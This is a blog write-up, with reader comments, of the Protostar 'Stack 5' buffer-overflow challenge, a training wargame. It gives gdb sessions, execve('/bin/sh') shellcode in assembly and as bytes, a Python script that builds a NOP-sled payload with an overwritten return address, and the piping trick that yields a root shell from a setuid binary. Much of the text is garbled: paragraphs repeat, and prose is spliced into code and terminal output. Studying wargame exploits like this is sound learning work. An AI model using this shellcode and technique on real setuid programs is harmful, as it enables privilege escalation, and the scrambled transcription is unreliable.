This is the write-up for Stack 5 challenge of the exploit-exercises' Protostar
wargame. The source code of the vulnerable program is provided as follow:
writing some shellcode. ;)
Like the previous challenge, we use gdb to debug the vulnerable program. We
break just after the gets() call. We check the offset between where the return
address is stored and the buffer address.
With all this known, our payload should be <NOPs>.<Shellcode>.<JJJJ.<NEWRET>
The NOPs are instruction that when executed, do nothing. They are there to
increase the chance of the shellcode being run properly and make the exploit
more portable/reliable as it would be harder to pinpoint the start of the
shellcode in varying running environments/situations. The NOP instruction's
opcode is 0x90. The total size of the nopsled + shellcode is 72. The JJJJ is
just junk value that will be on the frame pointer. Its value is not important.
The NEWRET is the value that will be stored in EIP when the main() call
returns. We should point it somewhere in the middle of the nopsled to increase
the likelihood of the exploit succeeding. Now with the fun part, writing the shellcode. Some tutorials you may find good for a start are this tutorial by Daniele Mazzocchio and this one by Steve Hanna. For this challenge, I have written this simple enough shellcode:
everything was working as expected, except the suid shell that was being
dropped. Trying other programs such as "/bin/ls" worked fine. After some
google-fu, I found out that it was caused by the shell redirection "<"
appending an EOF after redirecting payload5.
Courtesy of opensecuritytraining, I used this bash trick to circumvent this
problem rather than opting for a different exploit.
wargame. The source code of the vulnerable program is provided as follow:
#include <stdlib.h>This time, we won't get a win() free ride. A good opportunity to have some fun
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
writing some shellcode. ;)
Like the previous challenge, we use gdb to debug the vulnerable program. We
break just after the gets() call. We check the offset between where the return
address is stored and the buffer address.
user@protostar:~/stack5$ gdb -q /opt/protostar/bin/stack5We have 72 bytes up to EBP and 76 to reach where the return address is stored. Then, we set our system to generate core dumps files of crashes.
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) break *main+21
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) run
Starting program: /opt/protostar/bin/stack5
AAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, main (argc=1, argv=0xbffff864) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x/40x $esp
0xbffff760: 0xbffff770 0xb7ec6165 0xbffff778 0xb7eada75
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x08004141 0xbffff7b8 0x08048409
0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x080483f0 0xbffff7b8
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x080483fb 0xb7fd7ff4
0xbffff7b0: 0x080483f0 0x00000000 0xbffff838 0xb7eadc76
0xbffff7c0: 0x00000001 0xbffff864 0xbffff86c 0xb7fe1848
0xbffff7d0: 0xbffff820 0xffffffff 0xb7ffeff4 0x08048232
0xbffff7e0: 0x00000001 0xbffff820 0xb7ff0626 0xb7fffab0
0xbffff7f0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
(gdb) x/2x $ebp
0xbffff7b8: 0xbffff838 0xb7eadc76
(gdb) p 0xbffff7b8 - 0xbffff770 + 4
$1 = 76
user@protostar:~/stack5$ ulimit -c unlimitedThe correct address at which we start writing is 0xbfffff780.
user@protostar:~/stack5$ cat /proc/sys/kernel/core_pattern
/tmp/core.%s.%e.%p
and as root, we set the /proc/sys/fs/suid_dumpable value. We will analyze the core dumps after that.
user@protostar:~/stack5$ gdb -q -c /tmp/core.11.stack5.1471
Core was generated by `/opt/protostar/bin/stack5'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/40wx $esp - 100
0xbffff76c: 0x080483d9 0xbffff780 0xb7ec6165 0xbffff788
0xbffff77c: 0xb7eada75 0x41414141 0x41414141 0x41414141
0xbffff78c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff79c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7ac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7bc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7dc: 0x41414141 0x41414141 0xffffff00 0xb7ffeff4
0xbffff7ec: 0x08048232 0x00000001 0xbffff830 0xb7ff0626
0xbffff7fc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
With all this known, our payload should be <NOPs>.<Shellcode>.<JJJJ.<NEWRET>
The NOPs are instruction that when executed, do nothing. They are there to
increase the chance of the shellcode being run properly and make the exploit
more portable/reliable as it would be harder to pinpoint the start of the
shellcode in varying running environments/situations. The NOP instruction's
opcode is 0x90. The total size of the nopsled + shellcode is 72. The JJJJ is
just junk value that will be on the frame pointer. Its value is not important.
The NEWRET is the value that will be stored in EIP when the main() call
returns. We should point it somewhere in the middle of the nopsled to increase
the likelihood of the exploit succeeding. Now with the fun part, writing the shellcode. Some tutorials you may find good for a start are this tutorial by Daniele Mazzocchio and this one by Steve Hanna. For this challenge, I have written this simple enough shellcode:
user@protostar:~/stack5$ cat shell.asmI prefer the simpler push mov and push way of storing the "/bin/sh" string in memory to the call/jmp trick you may see elsewhere. The "and eax, 0x0fffffff" along with a "0xf0..." is what I thought of to add the trailing null byte to the string. There are surely other ways to do it. It comes down to what you prefer/know.
section .text
global _start
_start:
; execve("/bin/sh", NULL, NULL)
mov eax, 0xf068732f
and eax, 0x0fffffff
push eax
mov eax, 0x6e69622f
push eax
mov ebx, esp
xor eax, eax
mov al, 11
xor ecx, ecx
xor edx, edx
int 0x80
user@protostar:~/stack5$ nasm -f elf shell.asmThis little toy works, time to use it for real. We first get the opcodes
user@protostar:~/stack5$ ld -o shell shell.o
user@protostar:~/stack5$ ./shell
$ whoamiuser
user@protostar:~/stack5$ objdump -d shell.oAnd because life is too short to not use Python, we use it to generate the full payload.
shell.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: b8 2f 73 68 f0 mov $0xf068732f,%eax
5: 25 ff ff ff 0f and $0xfffffff,%eax
a: 50 push %eax
b: b8 2f 62 69 6e mov $0x6e69622f,%eax
10: 50 push %eax
11: 89 e3 mov %esp,%ebx
13: 31 c0 xor %eax,%eax
15: b0 0b mov $0xb,%al
17: 31 c9 xor %ecx,%ecx
19: 31 d2 xor %edx,%edx
1b: cd 80 int $0x80
user@protostar:~/stack5$ cat pwn5.pyThe trailing "\x0a" generate by the python "print" doesn't hurt. :)
#!/usr/bin/env python
offset = 72
shellcode = "\xb8\x2f\x73\x68\xf0\x25\xff\xff\xff\x0f\x50\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\xb0\x0b\x31\xc9\x31\xd2\xcd\x80"
nopsled = "\x90" * (offset - len(shellcode))
ret = "\x90\xf7\xff\xbf"
payload = nopsled + shellcode + "JJJJ" + ret
print payload
user@protostar:~/stack5$ python pwn5.py | xxd -g 1 -
0000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000010: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000020: 90 90 90 90 90 90 90 90 90 90 62 38 2f 73 68 f0 ..........b8/sh.
0000030: 25 ff ff ff 0f 50 b8 2f 62 69 6e 50 89 e3 31 c0 %....P./binP..1.
0000040: b0 0b 31 c9 31 d2 cd 80 4a 4a 4a 4a 90 f7 ff bf ..1.1...JJJJ....
0000050: 0a .
user@protostar:~/stack5$ python pwn5.py > payload5Now, this part bogged me for some time, I have debugged the exploit and
user@protostar:~/stack5$ /opt/protostar/bin/stack5 < payload5
user@protostar:~/stack5$ iduid=1001(user) gid=1001(user) groups=1001(user)
everything was working as expected, except the suid shell that was being
dropped. Trying other programs such as "/bin/ls" worked fine. After some
google-fu, I found out that it was caused by the shell redirection "<"
appending an EOF after redirecting payload5.
Courtesy of opensecuritytraining, I used this bash trick to circumvent this
problem rather than opting for a different exploit.
user@protostar:~/stack5$ (cat payload5; cat) | /opt/protostar/bin/stack5And that is it! the second "cat" is used to keep the file descriptor of the stdin of the pipe open, so that we can leverage the shell.
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
ls
payload5 pwn5.py shell shell.asm shell.o
whoami
root
If I use gdb print buffer address, why it is larger than $ebp?Thanks
ReplyDeletehttp://stackoverflow.com/questions/17510048/whats-wrong-with-gdb-print-or-stack-alloc
Thanks for this post, very cool blog. that redirection issue was tough. I wonder if there is any reason why you wouldn't write the shellcode over the pushed ebp? Thanks!
ReplyDelete